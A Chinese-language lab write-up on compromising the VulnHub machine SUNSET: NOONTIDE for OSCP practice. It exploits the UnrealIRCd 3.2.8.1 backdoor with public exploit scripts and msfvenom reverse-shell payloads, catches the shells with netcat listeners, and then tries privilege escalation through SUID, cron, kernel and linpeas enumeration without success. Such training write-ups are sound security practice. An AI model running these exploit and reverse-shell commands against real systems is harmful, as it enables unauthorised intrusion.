靶场实战(14):OSCP备考之VulnHub SUNSET NOONTIDE

打靶思路

  1. 资产发现

    1. 主机发现

    2. 服务发现

  2. 漏洞发现(获取权限)

    1. irc服务

  3. 提升权限

    1. server用户

      1. sudo

      2. suid

      3. cron

      4. 内核提权

      5. 信息收集

1、资产发现

1.1、主机发现

本次靶场SUNSET: NOONTIDE[1]指定IP,不涉及主机发现过程。

1.2、服务发现

使用命令sudo -u root 172.16.33.78 -n -Pn -p- --reason -sV -sC -O,发现主机开放的端口、提供的服务、使用的组件、组件的版本。

1885e3a4bc70dd94d2deb8327dc14a39.png

开放的端口

提供的服务

使用的组件

组件的版本

6667/tcp

irc

UnrealIRCd

?

6697/tcp

irc

UnrealIRCd

?

8067/tcp

irc

UnrealIRCd

?

-

os

?

?

2、漏洞发现(获取权限)

2.1、irc服务

0x01

主机只使用UnrealIRCd组件提供irc服务,看来要么从这突破,要么放弃。使用命令searchsploit UnrealIRCd,发现3.2.8.1版本的UnrealIRCd组件存在RCE漏洞。

e3255877233070932a635c4f061afbfc.png

查看Metasploitable2系列练习-漏洞利用之UnrealIRCd[2],得知可以使用hexchat查看UnrealIRCd组件的版本。使用命令sudo apt-get install -y hexchat安装hexchat,使用命令hexchat 172.16.33.78连接irc服务,发现UnrealIRCd组件的版本刚好就是存在RCE漏洞的3.2.8.1。

9f91fbe1c7bbfb68b6040aac701bf238.png

0x02

使用命令searchsploit -m 13853将EXP拷贝到当前目录。

ccde17f98eb293ff5e3dc0e9b9da7d14.png

使用命令msfvenom -p cmd/unix/reverse_perl LHOST=10.8.0.110 LPORT=4444 -f raw创建perl环境的Payload。

f48cf8f46eb800750adaab98bae4147f.png

使用命令vim 13853.pl将Payload添加到EXP中,注意引号的转义和结尾的分号。

b87bffb79278a203da377441ad76c534.png

使用命令nc -nvlp 4444监听反弹shell,使用命令perl 13853.pl 172.16.33.78 <端口> 1利用RCE漏洞发起反弹shell,均未获得反弹shell,难道目标机器上没有perl环境?

cdb1b420b11355a6c23cb45150adb1ea.png

0x03

使用命令msfvenom -p cmd/unix/reverse_bash LHOST=10.8.0.110 LPORT=4444 -f raw创建bash环境的Payload。

86d0e1d2f6ac0ed75c32bed62f7a9ea3.png

使用命令vim 13853.pl将Payload添加到EXP中,注意引号的转义和结尾的分号。

432c53f70f5a0d56d6f8334729b6c2a5.png

使用命令nc -nvlp 4444监听反弹shell,使用命令perl 13853.pl 172.16.33.78 <端口> 2利用RCE漏洞发起反弹shell,均未获得反弹shell,难道是EXP不行?

c465bcd5fc64dac60782e114df397ab8.png

0x04

网上找到EXPRanger11Danger/UnrealIRCd-3.2.8.1-Backdoor/exploit.py[3],使用命令vim exploit.py修改本地监听的IP和端口后,使用命令python3 exploit.py -payload <脚本语言> <目标IP> <目标端口>构造命令进行利用,最终使用python3 exploit.py -payload bash 172.16.33.78 6697成功获得反弹shell。

1fa6960578e8cec879b244202247e3b1.png

8e000d8e93fafd948edeeeb98603193e.png

d2d56c6cc09f9aa00666d106cd8958ea.png

0x05

网上找到EXPgeek-repo/UnrealIRCd-3.2.8.1/poc.py[4],使用命令vim poc.py修改源目IP端口后,构造命令python2 poc.py进行利用,最终成功获得server用户的反弹shell。

54d59f06a512b7d8c35dc339af5ab1fa.png

23205035558e9e197073a6c38fbe013e.png

fe3e4a2d896650e5ba7673009e49e4a6.png

3、提升权限

首先使用命令which pythonwhich python3发现有Python3环境,然后使用python3 -c 'import pty; pty.spawn("/bin/bash")'获得交换式shell。

0e3995c825f5d3d3b8dd6fd4083c65da.png

3.1、server用户

3.1.1、sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,发现不存在sudo命令。使用命令which sudo确认确实不存在。

029c262ff45caf54be48b380a1b3c3b0.png

3.1.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以命令属主的权限执行,发现还挺多。逐个在GTFOBins[5]查询是否可用于提权,发现都不行。

9abf7224c2a188a42943ebc090022d20.png

3.1.3、cron

使用命令find /var/spool/cron/ -type f -ls 2>/dev/null查看定时任务,发现没有。使用命令find /var/spool/cron/ -type f -ls不隐藏报错,发现是没有查看权限。

4bf04fca60ebdbaf30bc7ef9f6fc5853.png

使用命令find /etc/*cron* -type f -ls查看定时任务,发现还挺多。使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txtgrep '\*' /tmp/cron.txt查看定时任务内容,未发现有引用当前用户具有read和write权限的命令或脚本。

c3838ef374a3da20115186f95c5261d4.png

使用命令find / -perm -o=rw ! -path "/proc/*" -type f -ls 2>/dev/null查看other用户具有read和write权限的命令或脚本,发现有一些,但未发现有可能被定时任务引用的迹象。

519a4f09a28e4069f286dda391373e10.png

3.1.4、内核提权

使用命令uname -r获取系统内核版本4.19.0,使用命令cat /etc/*release获取系统发行版本Debian Linux 10

ffe6bbdd63152304f294c6220a175e7b.png

使用命令searchsploit 4. Debian Linux 10,未发现存在本地提权漏洞。

15034d852bb866d3d617765736378a00.png

3.1.5、信息收集

使用命令find /root/ -type f -ls 2>/dev/null查看特权用户目录下的文件,无收获。使用命令find /home/ ! -path "/home/server/irc/*" -type f -ls 2>/dev/null查看普通用户目录下的文件,无收获。使用命令find /tmp/ -type f -ls 2>/dev/null查看临时目录下的文件,无收获。

b5ad6be7fa8f3631d95768194f835f63.png

查看irc服务的配置文件和日志文件,最终在/home/server/irc/Unreal3.2/ircd.log中发现连接记录Connect - root!root@192.168.100.139,疑似获得账户密码root/root,不过使用命令su root切换到root账户时却报错,看来密码被改过了。但是查看WriteUp,确实又是使用账户密码root/root获得提权的,看来这靶机有问题呀。

6fff416f2a5529315fa3470dc5e24d67.png

f484723e50ea2d3f5f0e4f67cd957d64.png

3.1.6、使用工具

靶机使用命令nc -nvlp 4444 > /tmp/linpeas.sh接收文件,本地使用命令nc -nv 172.16.33.78 4444 < linpeas.sh发送文件后使用命令Ctrl+C关闭连接,靶机使用命令chmod +x /tmp/linpeas.sh赋予脚本执行权限后使用命令/tmp/linpeas.sh执行脚本。逐个查看脚本报告,未发现可以提权的漏洞,提权失败。

4871662ba17a7b6468d774f23c2585ae.png

13beb224f8a10edaf89d007999c3e306.png

d24292e9d4f0eb6cea02b57c6762d0ea.png

参考资料

[1]

SUNSET: NOONTIDE: https://www.vulnhub.com/entry/sunset-noontide,531/

[2]

Metasploitable2系列练习-漏洞利用之UnrealIRCd: https://chujian521.github.io/blog/2020/04/28/Metasploitable2系列练习-漏洞利用之UnrealIRCd/

[3]

Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/exploit.py: https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/blob/master/exploit.py

[4]

geek-repo/UnrealIRCd-3.2.8.1/poc.py: https://github.com/geek-repo/UnrealIRCd-3.2.8.1

[5]

GTFOBins: https://gtfobins.github.io

  • 19
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值